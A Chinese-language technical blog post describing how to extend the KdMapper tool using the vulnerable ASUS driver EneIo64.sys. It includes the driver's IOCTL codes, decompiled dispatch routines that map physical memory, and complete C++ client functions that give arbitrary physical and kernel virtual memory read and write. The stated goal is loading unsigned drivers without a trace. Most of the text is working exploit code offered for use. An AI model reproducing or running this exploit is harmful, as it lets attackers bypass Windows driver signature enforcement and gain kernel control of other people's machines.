KdMapper扩展实现之ASUS(EneIo64.sys)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动，本文是利用其它漏洞（参考《【转载】利用签名驱动漏洞加载未签名驱动》）做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称	EneIo64.sys
时间戳	5AB08710
MD5	11FB599312CB1CF43CA5E879ED6FB71E
文件版本	无
设备名称	\\.\EneIo
映射物理内存	0x80102040
取消映射物理内存	0x80102044
Windows 7	支持
Windows 10	22H2（包含）及以下
Windows 11	22621（不包含）以下

 

3.IDA分析

3.1 入口函数：

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        int v3; // ebx
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF

        DeviceObject = 0i64;
        DbgPrint("Entering DriverEntry", RegistryPath);
        RtlInitUnicodeString(&DestinationString, L"\\Device\\EneIo");
        v3 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x8010u, 0, 0, &DeviceObject);
        if (v3 < 0)
        {
                DbgPrint("ERROR: IoCreateDevice failed");
        }
        else
        {
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_11100;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_11100;
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11100;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\EneIo");
                v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v3 < 0)
                {
                        DbgPrint("ERROR: IoCreateSymbolicLink failed");
                        IoDeleteDevice(DeviceObject);
                }
        }
        DbgPrint("Leaving DriverEntry");
        return v3;
}

 

3.2 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_11100，其代码如下：

__int64 __fastcall sub_11100(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rsi
        MAP_PHYSICAL_MEMORY_INFO* pPhysicalMemoryInfo; // rbp
        ......
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pPhysicalMemoryInfo = (MAP_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        switch (pIosp->MajorFunction)
        {
                ......
        case 0xEu:
                DbgPrint("IRP_MJ_DEVICE_CONTROL");
                nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
                switch (nIoControlCode)
                {
                case 0x80102040:
                        DbgPrint("IOCTL_WINIO_MAPPHYSTOLIN");
                        if (!(_DWORD)nInputBufferLength)
                                goto LABEL_13;
                        memmove(Src, pPhysicalMemoryInfo, nInputBufferLength);
                        ntStatusV20 = sub_11528((PHYSICAL_ADDRESS)Src[1], Src[0], &BaseAddress, &Handle, &Object);
                        if (ntStatusV20 >= 0)
                        {
                                memmove(pPhysicalMemoryInfo, Src, nInputBufferLength);
                                pIrp->IoStatus.Information = nInputBufferLength;
                        }
                        pIrp->IoStatus.Status = ntStatusV20;
                        break;
                case 0x80102044:
                        DbgPrint("IOCTL_WINIO_UNMAPPHYSADDR");
                        if (!(_DWORD)nInputBufferLength)
                                goto LABEL_13;
                        memmove(Src, pPhysicalMemoryInfo, nInputBufferLength);
                        pObjectV16 = Object;
                        pMappedAddressV17 = BaseAddress;
                        hSectionV18 = Handle;
                        DbgPrint("Entering UnmapPhysicalMemory");
                        ntStatusV19 = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pMappedAddressV17);
                        if (ntStatusV19 < 0)
                                DbgPrint("ERROR: UnmapViewOfSection failed");
                        if (pObjectV16)
                                ObfDereferenceObject(pObjectV16);
                        ZwClose(hSectionV18);
                        DbgPrint("Leaving UnmapPhysicalMemory");
                        pIrp->IoStatus.Status = ntStatusV19;
                        break;
                ......
                default:
                        DbgPrint("ERROR: Unknown IRP_MJ_DEVICE_CONTROL");
                LABEL_13:
                        pIrp->IoStatus.Status = 0xC000000D;
                        goto LABEL_50;
                }
                break;
        }
LABEL_50:
        v21 = pIrp->IoStatus.Status;
        IofCompleteRequest(pIrp, 0);
        DbgPrint("Leaving WinIoDispatch");
        return v21;
}

  其中映射物理内存 ControlCode 为 0x80102040，相应的函数为 sub_11528 , 取消映射为 0x80102044。

 

3.3 映射物理内存

sub_11528 如下：

__int64 __fastcall sub_11528(PHYSICAL_ADDRESS BusAddress, ULONG_PTR nSize, PVOID* pMappedAddress, void** hSection, PVOID* pObject)
{
        PVOID* Object; // rbx
        NTSTATUS ntStatus; // edi
        BOOLEAN bMapStart; // al
        BOOLEAN bMapStartOK; // bl
        BOOLEAN bMapEnd; // al
        PVOID BaseAddress; // [rsp+50h] [rbp-78h] BYREF
        LARGE_INTEGER BusAddressa; // [rsp+58h] [rbp-70h] BYREF
        LARGE_INTEGER TranslatedAddress; // [rsp+60h] [rbp-68h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp+68h] [rbp-60h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+70h] [rbp-58h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
        ULONG_PTR CommitSize; // [rsp+D8h] [rbp+10h] BYREF
        ULONG AddressSpace; // [rsp+E8h] [rbp+20h] BYREF

        CommitSize = nSize;
        BaseAddress = 0i64;
        DbgPrint("Entering MapPhysicalMemoryToLinearSpace");
        RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
        *hSection = 0i64;
        Object = pObject;
        *pObject = 0i64;
        ObjectAttributes.RootDirectory = 0i64;
        ObjectAttributes.SecurityDescriptor = 0i64;
        ObjectAttributes.SecurityQualityOfService = 0i64;
        ObjectAttributes.Length = 48;
        ObjectAttributes.Attributes = 64;
        ObjectAttributes.ObjectName = &DestinationString;
        ntStatus = ZwOpenSection(hSection, 0xF001Fu, &ObjectAttributes);
        if (ntStatus < 0)
        {
                DbgPrint("ERROR: ZwOpenSection failed");
        }
        else
        {
                ntStatus = ObReferenceObjectByHandle(*hSection, 0xF001Fu, 0i64, 0, Object, 0i64);
                if (ntStatus < 0)
                {
                        DbgPrint("ERROR: ObReferenceObjectByHandle failed");
                }
                else
                {
                        AddressSpace = 0;
                        TranslatedAddress = BusAddress;
                        BusAddressa.QuadPart = BusAddress.QuadPart + CommitSize;
                        bMapStart = HalTranslateBusAddress(Isa, 0, BusAddress, &AddressSpace, &TranslatedAddress);
                        AddressSpace = 0;
                        bMapStartOK = bMapStart;
                        bMapEnd = HalTranslateBusAddress(Isa, 0, BusAddressa, &AddressSpace, &BusAddressa);
                        if (bMapStartOK && bMapEnd)
                        {
                                SectionOffset = TranslatedAddress;
                                CommitSize = BusAddressa.QuadPart - TranslatedAddress.QuadPart;
                                ntStatus = ZwMapViewOfSection(
                                        *hSection,
                                        (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                        &BaseAddress,
                                        0i64,
                                        BusAddressa.QuadPart - TranslatedAddress.QuadPart,
                                        &SectionOffset,
                                        &CommitSize,
                                        ViewShare,
                                        0,
                                        0x204u);
                                if (ntStatus == 0xC0000018)
                                        ntStatus = ZwMapViewOfSection(
                                                *hSection,
                                                (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                                &BaseAddress,
                                                0i64,
                                                CommitSize,
                                                &SectionOffset,
                                                &CommitSize,
                                                ViewShare,
                                                0,
                                                4u);
                                if (ntStatus >= 0)
                                {
                                        BaseAddress = (char*)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
                                        *pMappedAddress = BaseAddress;
                                }
                                else
                                {
                                        DbgPrint("ERROR: ZwMapViewOfSection failed");
                                }
                        }
                        else
                        {
                                DbgPrint("ERROR: HalTranslateBusAddress failed");
                        }
                }
        }
        if (ntStatus < 0)
                ZwClose(*hSection);
        DbgPrint("Leaving MapPhysicalMemoryToLinearSpace");
        return (unsigned int)ntStatus;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存，在代码过程中会遇到物理页面和虚拟页面不一一对应的问题，问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

 

3.4 MAP_PHYSICAL_MEMORY_INFO结构

00000000 MAP_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, align=0x8, copyof_380)
00000000 Size            LARGE_INTEGER ?
00000008 PhysicalAddress PHYSICAL_ADDRESS ?
00000010 hSection        dq ?                    ; offset
00000018 pMappedAddress  dq ?                    ; offset
00000020 pObject         dq ?                    ; offset
00000028 MAP_PHYSICAL_MEMORY_INFO ends

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_ENEIO64_PHYSICAL_MEMORY_INFO {
                LARGE_INTEGER Size;
                PHYSICAL_ADDRESS PhysicalAddress;
                PVOID hSection;
                PVOID  pMappedAddress;
                PVOID pObject;
        } ENEIO64_PHYSICAL_MEMORY_INFO, * PENEIO64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ENEIO64_DEVICE_TYPE          (DWORD)0x8010

#define ENEIO64_MAP_SECTION_FUNCID   (DWORD)0x810
#define ENEIO64_UNMAP_SECTION_FUNCID (DWORD)0x811

#define IOCTL_ENEIO64_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(ENEIO64_DEVICE_TYPE, ENEIO64_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040

#define IOCTL_ENEIO64_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(ENEIO64_DEVICE_TYPE, ENEIO64_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044

 

4.2 .c文件

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        PVOID* Object,
        PHANDLE pHandle
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ENEIO64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.Size.QuadPart = mapSize;
        request.pMappedAddress = NULL;
        request.pObject = NULL;
        request.hSection = NULL;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ENEIO64_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                /*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
                if (Object)
                {
                        *Object = request.pObject;
                }
                if (pHandle)
                {
                        *pHandle = request.hSection;
                }
                return request.pMappedAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap,
        PVOID Object,
        HANDLE Handle
)
{
        ENEIO64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.pMappedAddress = SectionToUnmap;
        request.pObject = Object;
        request.hSection = Handle;


        SuperCallDriver(DeviceHandle,
                IOCTL_ENEIO64_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
        PVOID Object = NULL;
        HANDLE hSection = NULL;
        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &Object,
                &hSection);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection,
                        Object,
                        hSection);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

 

5. 运行效果

  Windows 10 22H2环境上运行的效果如下，其中驱动 HelloWorld.sys为未签名的驱动，其详细说明见文章《KdMapper被加载驱动的实现》。